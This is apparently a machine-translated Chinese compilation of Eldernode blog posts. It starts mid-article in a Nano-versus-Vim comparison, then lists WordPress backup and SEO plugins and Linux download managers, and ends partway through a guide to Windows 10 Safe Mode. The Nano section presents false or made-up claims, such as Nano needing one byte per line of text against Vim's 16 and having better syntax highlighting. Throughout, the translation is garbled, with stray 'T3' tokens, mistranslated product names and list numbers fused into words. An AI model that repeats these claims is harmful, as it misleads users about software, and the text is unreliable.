Nano 是用户友好的,它的主界面在窗口底部给你重要的信息。您不需要参考手册页或任何文档来执行基本步骤。要开始,你要做的就是参考 Nano 编辑指南。
4——它比维姆T3 小
Nano 在计算机上占用的空间更少。这使得使用 Nano 更加容易。因为它不占用太多的硬盘空间,你也不需要担心你的硬盘空间。而 Vim 占用了你硬盘上的大量空间,这使得它很难使用。
5- Nano 有更好的语法高亮
Nano 是一个更强大的编辑器,具有更好的语法突出显示。它为多种编程语言和脚本提供了语法突出显示,并且比 Vim 具有更好的语法突出显示。对于语法突出显示,您所要做的就是指定一行语法名称和您希望语法突出显示的文件。
6-它支持更多的编程语言
Nano 支持不同的编程语言,如 Python、C、PHP、Perl、Ruby、Java、JavaScript、SQL、HTML、XML、Bash、Makefiles 等。此外,它还为多种语言提供了默认规则。虽然核心 Vim 的所有扩展都是用 VIM 脚本编写的,但插件可以利用其他编程语言,如 Python、Perl、Ruby、Lua、Racket 和 Tcl。您可以手动或通过插件管理器安装插件。
7- Nano 更自由更快
Nano 是一个免费的命令行文本编辑器,在 GNU 通用公共许可证版本 3 下发布。你可以使用它而不需要付费。你可以用它做任何事情。此外,它使用的内存更少,并且比 Vim 更快。通常,Nano 每行文本需要一个字节,但是 Vim 每行文本需要 16 个字节。
结论
纳米文本编辑器有更多的功能,更容易使用。它是 Unix 系统中最流行的文本编辑器之一。在本文中,我们解释了从 Vim 转向 Nano 的 7 个原因。我希望这篇教程对你有用,并且你喜欢它。如果您有任何问题或建议,可以在评论区联系我们。
介绍 2021 年 8 大 WordPress 备份插件- Eldernode
原文:https://blog.eldernode.com/8-top-wordpress-backup-plugins/
制作网站备份被认为是至关重要的。因此,网站管理员,尤其是那些在这个领域有丰富经验的人,知道缺乏备份对一个网站来说是多么危险。因此,手动或自动备份网站应该非常重视。站点备份让网站管理员松了一口气,这样在紧急和灾难性的情况下,他们可以将存储的信息恢复到标准状态。在本文中,我们将向您介绍 2021 年的 8 大 WordPress 备份插件。如果你想买一台 WordPress VPS 服务器,你可以访问 Eldernode 中的可用软件包。
2021 年 8 大 WordPress 备份插件
随着科技的进步,更新的黑客方法正在被发明出来。增加网站的安全性取决于各种因素,你安装安全插件只是为网站的安全性迈出了一步。
仅仅拥有一堵坚固的安全墙并不能保证你的网站。一个网站可能因为任何原因被破坏,无意有意,长期投入的内容不复存在!
诸如网站主机中断或安装恶意插件或意外错误等问题会导致部分或全部网站丢失。现在想象这个噩梦发生在你身上,你没有任何来自网站的备份文件,你必须重新开始;这里变得有点困难!!因为故事的坏处不仅仅是花时间重新开始!
需要记住的一点是,随着网站信息的丢失:
1.网站流量急剧下降
2.这会损害业务
3.搜索引擎优化得分下降
4.你可能会因为恶意软件而被搜索引擎屏蔽
5.你可能会因为恶意软件而被主机暂停
为此,我们决定在本文中介绍 8 款 2021 年最好的 WordPress 备份插件。请继续关注本文的其余部分。
2021 年 8 大 WordPress 备份插件有哪些?
在介绍最好的 WordPress 备份插件之前,最好回答几个问题:
我的站点需要特殊类型的备份吗?WordPress 网站有很多种。例如,一个站点可能需要简单的备份,而一个 WooCommerce 站点可能需要即时备份。
_ 我应该何时备份?这个问题的显而易见的答案是,您可以随时备份!一旦您备份了站点,请尝试指定一个时间表。例如,如果一个团队每天都在您的站点上工作,备份的理想时间可能是晚上 9 点
_ 我应该备份什么?你做的备份应该包括文件和网站数据库。很容易想象你有一份网站所有内容的拷贝,并且你不会丢失任何信息。
_ 我应该多久备份一次?你多久备份一次网站取决于网站本身。通常,您可以设置每小时、每天或每周的备份次数。当然,还有一个叫做实时备份的选项,只要对网站做了最轻微的改动,它就会制作一份副本。我建议你每周至少备份一次,不要考虑更长的时间,比如每两周或每月一次。
在本文的续篇中,和我们一起介绍 2021 年最好的 WordPress 备份插件。
1) UpdraftPlus 备份插件
UpdraftPlus 是 WordPress 备份插件中最优秀和最受欢迎的。这个插件在 WordPress 知识库中有超过 300 万的活跃安装。UpdraftPlus 插件有免费版和高级版,但免费版的功能令人钦佩。有了这个插件的免费版本,你可以计划整个网站的备份(数据库、插件和模板等)。).这个插件很容易恢复备份文件,初学者不会有任何设置问题。
如果你愿意,你可以从 WordPress 插件库下载 UpdraftPlus Backup 插件。
UpdraftPlus 备份插件特性
这个好插件的一个优点是,它让你有权选择备份存储的远程内存。Google Drive、Dropbox 和亚马逊 S3 都是远程和云存储的一部分。跟随我们解释这个插件的一些特性:
1_ 备份和恢复备份的能力
2_ 能够在各种云空间中保存备份
3_ 计划站点的自动备份
4_ 速度快,使用的服务器资源少
5_ 克隆站点并将其移动到新域或主机
Pro 版插件的附加特性:
6_ 增量备份
7_ 兼容 WordPress 多站点和多网络
8_ 在更多云空间中存储的能力
9_ 能够在多个目的地保存备份
10_ 数据库加密
2) BlogVault 备份插件
BlogVault 服务是 WordPress 备份插件中最著名的服务之一。该服务有超过 80,000 个活动安装,可以从一个站点传输高达 300GB 的数据,而不会给服务器带来额外的负载和降低速度。有了 BlogVault,你可以在任何时候备份你的 WordPress 站点或者定义一个备份时间表。
除了备份的可能性之外,这项服务还可以很好地恢复您的站点。这意味着,如果您的站点结构由于事故而丢失,恢复是 BlogVault 幸运地提供的唯一解决方案。
BlogVault 不仅仅是一个插件;因为所有操作都是在专用的 BlogVault 服务器上执行和存储的。此外,安装这个插件只是为了在你的站点计数器和 BlogVault 站点上的用户面板之间建立一座桥梁。当然,由于操作是在 BlogVault 服务器上执行的,所以不会对您的站点服务器造成额外的压力。事实上,如果提高你的 WordPress 站点的速度对你来说一直很重要,那么积极地看待这个插件吧。
如果你愿意,你可以从 WordPress 插件库中下载 BlogVault Backup 插件。
BlogVault 备份插件功能
在这一节中,我们将解释这个插件的特性。这些功能包括:
1_ 创建文件和数据库的备份文件
2_ 计划备份的能力
3 _ 商务备份
4_ 每天自动备份
5_ 在站点发生微小变化时立即备份
6_ 备份站点后测试备份的能力
用于备份文件存储的 7_ 90 天归档
8_ 使用专用服务器执行操作
9_ 转移场地的能力
10_ 将站点复制到暂存环境的能力
11_ 安全功能,包括防火墙和安全扫描
3) Jetpack 备份插件
VaultPress 是最好的 WordPress 备份插件之一。该许可证被重写以与 JetPack 集成,现在被称为 JetPack Backup。这个插件有超过 500 万个来自 WordPress 知识库的活跃安装。JetPack 作为共享服务为备份付费。他们的 JetPack 个人版的定价计划从每年 39 美元起。
建议如果你有大型网站,一定要用 JetPack 插件。因为这是一个强大而可靠的网站备份解决方案。最主要的原因是,它可以随时为你提供支持,这对于大型网站来说非常重要。
如果你愿意,你可以从 WordPress 插件库下载 Jetpack 备份插件。
Jetpack 备份插件功能
在这一节中,我们将解释这个插件的特性。这些功能包括:
1_ 实时自动备份站点的能力
2_ 无限制的备份存储空间。非常适合电商店铺,尤其是 Woo。
3_ 无论您是要创建一个临时站点还是要移动到新主机,都可以轻松复制、克隆或迁移您的站点。
4_ 自动扫描恶意软件和其他代码威胁
5_ 利用 Akismet 设计的反垃圾邮件功能阻止垃圾邮件评论并生成回复
6_ 暴力保护来保护 WordPress 登录页面免受攻击
7_ 通过电子邮件了解站点故障时间的能力
8_ 能够自动更新插件,便于网站维护和管理
9_ 安全 WordPress-powered 登录被数百万网站使用,可选的 2FA(双因素认证)提供额外保护。
4)复印机备份插件
另一个值得列入最佳 WordPress 备份插件列表的插件是 Duplicator 插件。这个插件不仅仅是用来备份 WordPress 网站的!这意味着这个插件捆绑了所有站点插件、模板、内容、数据库和 WordPress 文件的完整包。通过这种方式,您可以将站点从一台主机转移到另一台主机。由于这个包也包括 WordPress 设置,所以在重新定位后不需要安装和配置它。当然,Duplicator 给了用户选择备份的权利。例如,你有机会在网站上备份你想要的部分!由于其出色的性能,该插件迄今已有超过 100 万的活跃安装。
如果你愿意,你可以从 WordPress 插件库下载副本备份插件。
复印机备份插件功能
在这一节中,我们将解释这个插件的特性。这些功能包括:
1_ 备份整个站点或部分站点的能力
2_ 能够克隆 WordPress 站点,并以零故障率将站点转移到域和主机
3_ 捆绑整个网站以便重复使用或分发的能力
4_ 完全转移 WordPress 的能力,没有导入和导出 SQL 脚本的麻烦
Pro 版插件的附加特性:
5_ 备份计划
6_ 能够将站点复制到演示或试运行环境
7_ 将备份文件传输到 Google Drive 等云服务
8 _ WP-Config 的附加设置
9_ 多站点 WordPress 传输
5) WP 时间胶囊备份插件
另一个最好的免费 WordPress 备份插件是 WP Time Capsule。这个插件允许实时备份。有趣的是,这个插件会在每次更新前自动备份你的文件,这样你就不会错过重要的内容。
需要注意的是,如果发生不愉快的事件,您可以恢复数据。您还可以备份数据库文件。另一个需要注意的重要事情是,您可以加密数据库备份以增加安全性。这将使您的 GDPR 备份兼容。
此外,这个插件备份和恢复修改过的文件和数据库,而不是所有的网站内容。最后,您可以将您的内容存储在云存储位置,如 Google Drive、亚马逊 S3、Wasabi 等。
如果你愿意,你可以从 WordPress 插件库下载 WP Time Capsule 备份插件。
WP Time Capsule 备份插件功能
在这一节中,我们将解释这个插件的特性。这些功能包括:
1_ 实时备份的能力。您还可以将备份间隔更改为每 6 小时、12 小时或每天。
2_ 只需单击 staging,即可轻松测试您计划在站点上进行的任何更改。只需点击一下鼠标,即可测试您的更新
3_ 自动备份和更新的能力
4_ 能够加密数据库备份,以创建额外的安全层和备份 GDPR。
5_ 能够使用 WPTC 备份来模拟您的站点或将您的站点迁移到新位置
6)back up 备份插件
另一个在最佳 WordPress 备份插件列表中的好插件是 BackWPup。这个插件在 WordPress 插件库中有超过 700,000 个活跃的安装。有了这个插件,你可以创建一个完整的网站备份,并保存在任何服务和云空间。要选择备份文件格式,有三个选项:Zip、Tar、Tar GZip,可以根据需要选择自己想要的。这个插件只支持 MYSQLI 数据库备份数据库文件。
如果你愿意,你可以从 WordPress 插件库下载 BackWPup 备份插件。
back pup 备份插件功能
在这一节中,我们将解释这个插件的特性。这些功能包括:
1_ 文件备份
2_ 数据库备份(mysqli)
3_ 数据库优化
4_ 数据库检查和修复
5_ WordPress XML 文件导出
6_ 备份已安装插件的能力
7_ 直接查看备份日志
8_ WordPress 网络或多站点支持
9_ 将备份文件直接传输到所需的云空间、主机文件夹或电子邮件
Pro 版插件的附加特性:
10_ 将备份文件传输到更多服务,包括亚马逊冰川和谷歌驱动
11_ 恢复备份的能力
12_ 安全备份 zip 加密和恢复
7)WP 生动备份插件
WPvivid 备份插件提供了一个备份插件应该具备的所有基本功能,包括备份和恢复。此外,这个插件还提供了一些功能,比如未使用的图片清理器。在备份和传输图像之前,您可以轻松删除所有未使用的图像。
需要注意的是,这个插件有超过 100,000 个活跃安装,是 WordPress 插件库中最好的免费备份插件之一。在这个插件的帮助下,你可以很容易地将你的 WordPress 站点拷贝转移到一个新的主机上。很高兴知道这个插件允许数据库加密来为你的数据库文件创造更多的安全性。
如果你愿意,你可以从 WordPress 插件库中下载 WPvivid Backup 插件。
WP 生动备份插件功能
在这一节中,我们将解释这个插件的特性。这些功能包括:
1_ 为备份定制一切
2_ 您可以创建登台站点并将登台定向到活动站点
3_ 增量备份的可能性
4_ 能够加密数据库备份
5_ 自动备份主题、主题和插件的能力
6_ 未使用的图像雨刷(测试版)
7 _ WordPress 的多媒体备份能力
8_ 为 WordPress 管理部门创建暂存的能力
9_ 具有高级存储空间
10_ 从远程内存恢复备份的能力
11_ 通过远程存储传输一切的能力
12_ 编辑用户角色权能的能力
8)bold 网格备份插件
我们在本文中介绍的最后一个插件是 BoldGrid Backup。BoldGrid Backup plugin 是另一个 WordPress 备份插件,具有检索甚至在更换主机时移动站点的功能。这个插件在 WordPress 插件库中有超过 80,000 个活跃的安装。这个插件的一个很大的特点是,它会在更新前自动为你的站点创建一个备份,这是保存更新信息和错误的最好方法。应该注意的是,BoldGrid 备份插件允许您通过 FTP 或 SFTP 传输备份。
如果你愿意,你可以从 WordPress 插件库下载 BoldGrid 备份插件。
bold 网格备份插件特性
在这一节中,我们将解释这个插件的特性。这些功能包括:
1_ 自动和手动备份的可能性
2_ 能够完全备份文件和数据库,并根据需要进行调整
3_ 通过 FTP/SFTP、亚马逊 S3 和 Google Drive 进行远程备份(高级)
4 _ Total maintenance 检查,以确保您的 web 服务器具有创建适当的备份归档所需的功能,从而保护您的备份的完整性
5_ 只需点击几下鼠标,即可克隆、复制或迁移您的站点
6_ Site Check 监控您的站点是否存在导致站点崩溃的问题,并提供一套工具来检索您的站点。
结论
WordPress 备份插件现在有免费和高级版本,并且已经发布在 WordPress 插件库中。因此,它们可能非常有效,但我们总是建议在网站设计中使用 WordPress 内容管理系统的用户和网站管理员不要满足于这些插件,并自己手动备份托管空间。在这篇文章中,我们试图向你介绍 2021 年最好的 8 个 WordPress 备份插件。如果你愿意,可以参考教程对主机 Cpanel 进行完整备份。
2021 年推出 8 款顶级 WordPress SEO 插件
WordPress 需要 SEO。插件和工具使 SEO 变得简单易行。为了使编辑、发布和搜索变得容易,WordPress 提供了许多插件。当你需要与公众分享你的博客时,SEO 帮助你拥有一个对你的见解和专业知识感兴趣的大社区。为了达到这个目的,你需要确保你的搜索引擎优化是有效的。所以,加入我们的文章一步步介绍 2021 年的 8 个顶级 WordPress SEO 插件。
2021 年 8 大最佳 WordPress SEO 插件
根据统计和研究,SEO 是提高内容性能的最佳方式。在官方的 WordPress 知识库上有超过 55,000 个插件。你必须检查最好的插件,让它们根据你的需要和目标发挥作用。并非所有的 WordPress 插件都是免费的,你需要付费才能获得额外的功能。接下来,你将学习什么是 WordPress 插件,为什么你需要它们。
关于 WordPress SEO 插件的一切
要想在数字营销方面取得进步,SEO 是一把强有力的钥匙。使用 SEO 可以让你决定你的内容在搜索结果中的位置。所以,你需要一份 WordPress 网站的 SEO 插件和工具列表。你可以很容易地将 WordPress 插件添加到你的 WordPress 站点,并改善它的整体外观、功能和效率。计算机还不够专业,不足以写出吸引人的标题,它们对关键词的选择也不尽如人意。所以,你的努力也很重要。
你需要好的 SEO 插件来正确地选择你的目标关键词,知道你的图像文件的合适大小,甚至呈现可读的内容。如果不使用 WordPress SEO 插件,你很难增加网站的流量。有几个 WordPress SEO 插件,其中许多是免费的。为了不错失流量和转化的机会,请和我们一起回顾 2021 年的 8 个顶级 WordPress SEO 插件。
2021 年 8 大顶级 WordPress SEO 插件有哪些
SEO 插件的工具和强大功能允许你审计清单、网站地图和内容洞察。现在,如果你对使用一个 SEO 插件足够满意,让我们看看 8 个最好的 WordPress SEO 插件的概述。要优化您的网站,请检查哪一个最适合您公司的需求。
1- Yoast SEO
约斯特是 WordPress 的一个非常受欢迎的 SEO 插件。无论你是在经营一个个人博客,还是一个为客户管理网站的 SEO 专家,它都可以帮助你在为访问者和搜索引擎创建内容之间找到平衡。通过提供免费和高级功能,Yoast 插件保证了关键字、关键短语、同义词和相关关键字的优化。使用这个有价值的工具,你可以添加搜索引擎优化描述和标题到你的网站的文章和页面。这个插件帮助你自动生成 XML 站点地图。当您安装 Yoast 插件时,您可以从您以前使用的其他 SEO 插件中导入 SEO 数据。Yoast 有助于您的网站发展。以下是这个插件最有用的地方:
一段式结构
2-关键字密度
3-弗莱施-金凯阅读容易
4 元描述
五连杆支架
6-以前的关键字用法
7-副标题中的关键字使用
8- Permalink 清理
9-社交分享
如果你愿意,通过 WordPress 官方网站下载 Yoast 。
Yoast 特性
由于不再需要手动搜索关键字,Yoast 可以帮助您节省时间。让我们通过阅读 Yoast 的特性来了解它的更多信息:
1-检查您的页面和博客帖子的可读性和 SEO 改进。
2-能够看到你的谷歌搜索引擎结果。调整元描述,让更多的吸引力和关键字丰富。
3-对所有页面进行可读性检查,可以让你明白是否需要拆分段落或添加元素,如编号列表或标题。
4- Yoast 会告诉你你的页面或文章中是否有重复的内容。
5-谷歌搜索控制台集成。
还有很多。
2-SEO press
SeoPress 快速、简单,被认为是最适合初学者的 Seo 插件之一。因此,如果你是插件新手,但你希望提高你的网站的搜索引擎优化,从 SeoPress 开始是一个好主意。有了这个免费的强大插件,你可以安装和设置你的数据,因为它提供了一个安装向导。SeoPress 允许您管理帖子、页面、帖子类型和术语的所有标题和元描述。
如果你愿意,通过 WordPress 官方网站下载 SeoPress 。
SeoPress 功能
使用这个插件可以帮助你节省金钱和时间。SeoPress 简单易用。以下是其主要功能列表:
1-它用无限的关键词分析内容。所以,你可以为搜索引擎编写优化的内容
2-谷歌知识图
3-移动/桌面谷歌预览,看看你的文章在谷歌搜索结果中的样子
4-脸书和 Twitter 社交预览,看看你的帖子在社交媒体上会是什么样子,以增加转化率
5-可定制的 URL 重写
6- Image XML 站点地图,用于改进 Google 图片的搜索索引
还有很多。
3- All in one SEO
WordPress 的 All in One SEO (AIOSEO)是最初的 WordPress SEO 插件。WordPress 认为,All in one 插件为你充当 SEO 专家,因为它是全面的,可以帮助你提高网站的 SEO 排名,并在不到 10 分钟的时间内发现新的增长机会。凭借易于使用的界面,in one SEO 插件允许您添加元标签、生成 XML 站点地图、添加模式标记和优化社交共享。
如果你愿意,通过 WordPress 官方网站下载所有内容。
多合一搜索引擎优化功能
AIOSEO 被认为是世界上最好的 WordPress SEO 插件。其功能是高度优化的谷歌和其他流行的搜索引擎算法。让我们回顾其中的一些:
1-你可以在 10 分钟内设置好 WordPress SEO,因为它使用了 WordPress SEO 设置向导
2-你不需要开发人员,因为它是网页上的搜索引擎优化优化
3-运行 SEO 健康检查器
4-编辑您的 robots.txt 文件
5- API 支持
6-搜索引擎验证工具
7-高级规范 URL
还有很多。
4-白金 SEO
这是一个轻量级的功能齐全的 WordPress SEO 插件,旨在帮助你满足所有的搜索引擎优化需求。初学者和 WordPress SEO 专家都喜欢白金 SEO,因为它对每个人来说都很容易,并且可以完全控制你网站上的页面 SEO。它还提供了一个生成 Google 支持的任何模式的工具,以及一个帮助你为每个帖子或页面定义所有重要元标签的功能包。如果你渴望能够控制所有的技术问题,白金搜索引擎优化插件是你需要的。因为你会被报告所有 404 错误。
如果你愿意,通过 WordPress 官方网站下载白金。
白金 SEO 功能
白金搜索引擎优化插件是挤满了所有的功能,你需要做技术和网页搜索引擎优化。让我们来看看它的功能的简要总结:
1-自动设置规范 URL 或设置跨站点规范 URL 的能力
2-能够为脸书,Twitter,Pinterest 和 Linkedin 创建社交元标签。它还会自动生成所有与 SEO 相关的 META 标签
3-为搜索引擎优化帖子和页面标题
4-支持自定义帖子类型和自定义分类
5-兼容大多数其他插件。您可以使用 Google XML 站点地图生成器来生成您的站点地图
还有很多。
5-squirry SEO
Squirrly SEO 给你最快的方法来获得最好的 SEO 结果,因为它能够像 Google 一样查看 WordPress 站点上的每个页面。你可以升级你的 WordPress,用这个流行的插件增加搜索流量。使用这个插件可以让你有一个基于人工智能的私人 SEO 顾问。如果你不是 SEO 专家,你可以享受使用这个插件。它检查你的流量,人们如何参与你的网站内容,查看你在谷歌搜索引擎中所有页面的位置,告诉你如何带来更多的流量,如何让更多的页面可见,给你提供更多点击的可靠建议,等等。
如果你愿意,可以通过 WordPress 官方网站下载squirly SEO。
squirry SEO 功能
Squirrly 是一个一体化的插件,有一些独特的功能。它与其他搜索引擎优化插件和每个页面的细节以及网站内部的上下文兼容。Squirrly 告诉你如何处理每一页,让它在搜索引擎上被找到。由于这个免费插件提供了 Yoast、RankMath、SEOpress 和 SEOpressor 的付费功能,您可以使用它免费获得它们的付费功能。但这里列出了它的主要特点:
单焦点页面
双关键词研究工具
3-最佳搜索引擎优化目标
四轨搜索引擎优化结果
5- SEO live 助手
6-批量 SEO
7- SEO 审计
8- SEO 代码片段工具
还有很多。
6-智能爬行
作为一名管理员,你必须通过改进关键词优化,XML 站点地图,优化你的元标签,标题和描述,提高你在 Google 上的 PageRank,来给你的站点更好的 SEO 优化和排名。SmartCrawl 是你所需要的,因为它现在是最好的,使您的网站更容易阅读和查找。当它在文章和页面编辑器中运行内容分析时,你会得到即时的反馈和改进内容的建议。SmartCrawl 有助于您不遗漏任何内容。它指出了哪里你需要应用你的关键字研究是最有效的。
如果你愿意,通过 WordPress 官方网站下载 SmartCrawl 。
SmartCrawl 功能
你可以用 SmartCrawl 体验快速而强大的 WordPress SEO。让我们回顾一下它的更多特性:
1-自动搜索引擎优化检查和报告
2-站点地图自动生成器和搜索引擎通知
3-标题和元描述
4-完全支持默认的 schema.org 类型
5-网站抓取、扫描和报告
6-自动链接
7- 301 重定向
8-高级社交媒体分享
7-monster insights
由于 MonsterInsights 是 WordPress 最完整的谷歌分析插件,它可以很容易地向你显示你的网站访问者来自哪里,他们在你的网站上做什么,以及哪些内容表现最好。这个插件是初学者最常用的,因为 MonsterInsights 显示了他们需要改善你的网站的 SEO 策略的洞察力。此外,其他人可以使用这个插件来监控他们的电子商务搜索引擎优化,以避免失去客户。
如果你愿意,可以通过 WordPress 官方网站下载 MonsterInsights 。
MonsterInsights 特性
MonsterInsights 是市场上最强大和用户友好的 WordPress 分析插件。让我们回顾一下它的主要特点:
1-通用跟踪
2-谷歌分析仪表板
3-实时统计
4-增强的电子商务跟踪
5 页级分析
6-附属链接和广告跟踪
还有很多。
8 级数学
要为搜索引擎和社交媒体优化你的网站,你可以使用设置向导附带的 Rank Math WordPress SEO 插件。因此,你可以在设置过程中从其他 SEO 插件导入数据。使用排名数学允许您添加元标题、描述和开放图表元数据到您的博客帖子。你知道了阿尤索和尤斯特的事。如果你选择了其中一个,你就不需要再安装这个插件了。排名数学帮助你保持领先于你的竞争对手,因为它与谷歌搜索控制台和关键字排名工具相结合。
如果你愿意,通过 WordPress 官方网站下载 Rank Math 。
排名数学特征
这个强大的插件是一个功能丰富的 SEO 插件,易于使用。在下面的列表中查看有关其功能的更多信息:
1-易于操作的安装向导
2-简洁的用户界面
3-内置高级搜索引擎优化分析模块
4-谷歌分析集成
五级跟踪器
6-关注职位历史
7-文章关键词排名
8-最先进的模式生成器
还有很多。
结论
本文向大家介绍了 2021 年 8 款顶级 WordPress SEO 插件。你可以下载并安装任何你需要的插件。您查看的所有功能对于免费版本都是有效的。它们中的大多数都提供了一些你应该付费使用的功能。如果您需要向您的朋友询问他们最喜欢的插件或任何其他问题,请前往 Eldernode 社区并提交您的反馈。
Linux Server 的 9 大下载管理器[2022]
原文:https://blog.eldernode.com/9-download-managers-for-linux/
所有现代浏览器都有一个默认的下载管理器,但是如果你有下载时间或失败的问题,下载管理器可以解决你的问题。甚至,一个默认的下载管理器不足以管理一个有效的下载系统,最好有一个单独的下载管理器程序。本文将向您介绍Linux Server[2022]的 9 大下载管理器。如果你打算购买一台 Linux VPS 服务器,你可以查看 Eldernode 网站上提供的软件包。
2022 年推出 9 款 Linux 服务器下载管理器
什么是下载管理器?
下载管理器是一个软件,允许您更快的下载速度,优先下载,暂停和恢复下载支持,检查自动防病毒,并提供一个内置的调度程序。通常,从互联网上下载一些东西是容易和简单的。但如果你想下载大文件或多个文件,你应该有一个下载管理器。使用下载管理器,你也可以更容易地管理你的下载,并获得更多的功能,如种子支持,磁铁链接,下载速度控制等。
在这篇来自 Linux 教程系列的文章的继续中,我们将向您介绍适用于 Linux 服务器的最佳下载管理器。
Linux 服务器下载排行榜
在这一节中,我们将介绍适用于您的 Linux 服务器的最佳下载管理器。Linux 服务器有很多下载管理器,用户很难选择其中之一。本教程将帮助你找到最适合你的 Linux 服务器的下载管理器。
1。JDownloader
JDownloader 是一个用 Java 编写的开源免费下载管理器。它允许你从一键托管网站自动下载文件组。用户可以轻松管理下载,没有任何麻烦。该软件提供了对下载的全面控制,如暂停和恢复功能,带宽分配,下载速度调整等。
2。uGet 下载管理器
uGet 是一个免费、快速、轻量级和开源的下载加速应用程序,用于管理和提高从互联网下载文件的速度。这个软件有一个有吸引力的和简单的用户界面,并包含精彩的功能。它不需要激活,也不需要成本,而且不限于不同的操作系统。你可以在 Windows,Mac,BSD, Linux ,甚至移动平台上使用 uGet。
uGet 特性
uGet 下载管理器的主要功能有:
–支持简历
–对下载进行分类和排序
–自定义下载管理设置
–设置关闭系统的时间
–设置在特定时间停止或开始下载
–同时下载多个文件,数量不限
–使用插件支持 BitTorrent
3。kGet 下载管理器
kGet 是一个开源的、快速的、轻量级的、多功能的、用户友好的下载管理器,它集成了 KDE 桌面环境和 Konqueror 浏览器。它适用于所有主要的 Linux 发行版,并允许您一次从不同的 URL 下载。这个应用程序允许用户从 HTTP 和 FTP 源下载和管理文件。
kGet 特性
我们来列举一下 kGet 的特点:
–暂停和继续下载文件
–嵌入系统托盘
–支持 BitTorrent
–支持 Metalink,它包含用于下载、校验和及其他信息的多个 URL
4。Xtreme 下载管理器
Xtreme Download Manager 也称为 XDM,是一个强大的工具,可以提高下载速度,安排和转换下载,并恢复中断的下载。它是用 Java 编写的,可以在 Linux 桌面下获得。这个下载管理器可以让你保存来自脸书、谷歌、DailyMotion 和 YouTube 的流媒体视频。
极限特性
Xtreme 下载管理器的主要功能有:
–支持代理、认证和其他高级功能
–暂停/恢复下载支持
–支持从著名网站捕获多媒体文件
–快速从剪贴板中获取 URL
–支持 HTTP、HTTPS 和 FTP 协议
5。DownThemAll 下载管理器
DownThemAll 是一个 Firefox 插件,为您的浏览器增加了新的高级下载功能。它可以在 Windows、macOS、BSD 和 Linux 上使用,并允许您下载网站上的所有链接或图像。您无需安装成熟的专用下载应用程序,就可以提高下载量。
下降所有特征
向下所有主要特性包括:
–支持下载网页上的所有图片和链接
–下载后自动检查 SHA1 和 MD5 哈希
–支持下载多个文件,并支持为每个文件设置下载速度
–为 Firefox 和 DownThemAll 之间的集成定制大量设置
–支持从 Firefox 浏览器自动抓取下载的链接
6。Motrix 下载管理器
Motrix 是适用于 Linux 的开源下载管理器。它允许您毫无问题地下载常规文件和媒体内容,并通过一个平台管理 FTP/HTTP 下载、torrent 下载和 magnet URL 下载。这个下载管理器可用于 Linux、Windows 和 macOS,并与 BitTorrent 链接和类似系统兼容。
7。FireDM 下载管理器
FireDM 下载管理器是一个开源的令人印象深刻的下载管理器,它通过集中硬件和服务器资源来提高下载速度。它是使用 libcurl 多协议传输库和 youtube-dl 库用 Python 编程的。这个下载管理器提供了完美的日志和并发下载队列管理。
FireDM 功能
FireDM 的最佳特性包括:
–支持 Youtube 和其他流媒体网站
–下载整个视频播放列表或选定的视频
–下载多重连接
–自动文件分段和刷新死链接
8。linux 版 FlareGet 下载管理器
FlareGet 是一个多功能的下载软件,允许你以最快的速度从不同的网站下载文件,保存视频和音乐,甚至是 YouTube。它是保存来自谷歌 Chrome、Opera、Mozilla Firefox 和 IE 等浏览器的多媒体文件的最佳软件之一。这个软件中有一个恢复选项,这样即使在系统挂起的情况下,它也可以恢复下载。FlareGet 软件的智能文件管理根据扩展名自动对下载的文件进行分类。
FlareGet 特性
FlareGet 的最佳特性如下:
–支持 HTTP、HTTPS、FTP 协议
–多线程支持
–支持从剪贴板中自动抓取 URL
–有 18 种不同的语言版本
–支持每个文件 4 段
9。MultiGet 下载管理器
MultiGet 是一个开源的免费下载管理器,它依靠其多功能性和同时执行多项任务的可能性来提高下载速度。它只针对 Linux 发布,但无需特殊配置就可以在许多系统上运行。该软件是用 C++编程语言编写的,将适用于所有用户。
MultiGet 特性
让我们列出 MultiGet 的主要特性:
–在图形环境中管理下载的文件
–多语言支持
–支持 HTTP 和 FTP 协议
–剪贴板监控
–支持 SOCKS4,4a,5 代理,FTP 代理,HTTP 代理
就是这样!我们介绍了 Linux 服务器的最佳和前 9 名下载管理器。
结论
Linux 服务器有很多下载管理器,很难选择其中之一。在本文中,我们介绍了 Linux 服务器的 9 大下载管理器,并列出了它们的特性。我希望在本教程的帮助下,你找到了你想要的 Linux 服务器下载管理器。如果你有建议或任何问题,你可以在评论区联系我们。
如何在 Windows 10 - ElderNode 博客中访问安全模式
原文:https://blog.eldernode.com/access-safe-mode-in-windows-10/
如何在 Windows 10 中进入安全模式?在上一代 Windows 8 中,在启动时按下 F8 键会显示一个菜单,允许你进入各种 Windows 模式,比如安全模式。这在 Windows 8 以后有所改变。在本文中,我们将以 Windows 应用教程的形式,教大家如何在 Windows 10 中访问安全模式。
安全模式是 Windows 中的一种模式,在 Windows 出现问题或手动扫描病毒时使用。当 Windows 以安全模式启动时,只有基本 Windows 服务被启动,没有驱动程序、软件、病毒等。以这种模式启动。因此,这种环境称为安全模式。
关注我们如何在 Windows 10 中访问安全模式。注意,本教程也适用于 Windows 虚拟服务器。
进入 Windows 10 的安全模式
1。 在引导 Windows 10 之后,进入之前,在登录窗口,点击电源。
2。T3 打开菜单后,按住 Shift 键,然后点击重启。
注意:你可以在开始菜单中点击电源,按住 Shift 键点击重启。
3。在如下图所示的窗口中,点击排除故障。
4。T3 选择高级选项。
5。 在高级设置窗口中,选择启动设置选项,这样你就可以在 Windows 启动前看到 Windows 启动设置。
6。 进入启动设置后,点击重启启动系统。
7。启动系统后,会显示如下菜单。您可以选择任何想要的模式。
选择必须与写在选项旁边的数字相关,并以同样的方式使用 F1 到 F9 键。
例如,在这一步我们按下 F4 选择启用安全模式。
8。 选择所需选项后, Windows 安全模式环境将启动。
注意 在安全模式下完成工作并重启系统后,Windows 将正常加载。
方法二:从设置区进入 Windows 10 的安全模式
1。T3 首先进入 Windows 10 设置。
要进入设置部分,可以点击开始选项和设置部分,看起来像一个齿轮。
2。 点击更新&安全然后选择恢复按钮。
3。 从高级启动部分,找到现在重启并点击它。
4。 选择此选项,您的系统将重启,再次出现后,会出现一个蓝色的屏幕。
蓝屏上有几个选项。你可以点击启动设置,然后点击重启。
5。 系统重启后,你会看到几个选项。
你点击第四个选项(启用安全模式)。这将重启系统并进入安全模式。
方法三:在 Windows 10 中按 f8 或 shift + f8 键进入安全模式
有些 windows 只有传统 BIOS 。如果您的计算机是这些计算机中的一种,并且安装在硬盘上,您可以使用这种方法。
事实上,这种方法是最常见的进入安全模式的方法之一。
要使用此方法进入安全模式,您必须在电脑启动时按下 f8 键或 shift 键+ f8 。
方法四:安装 Windows 10 时的安全模式
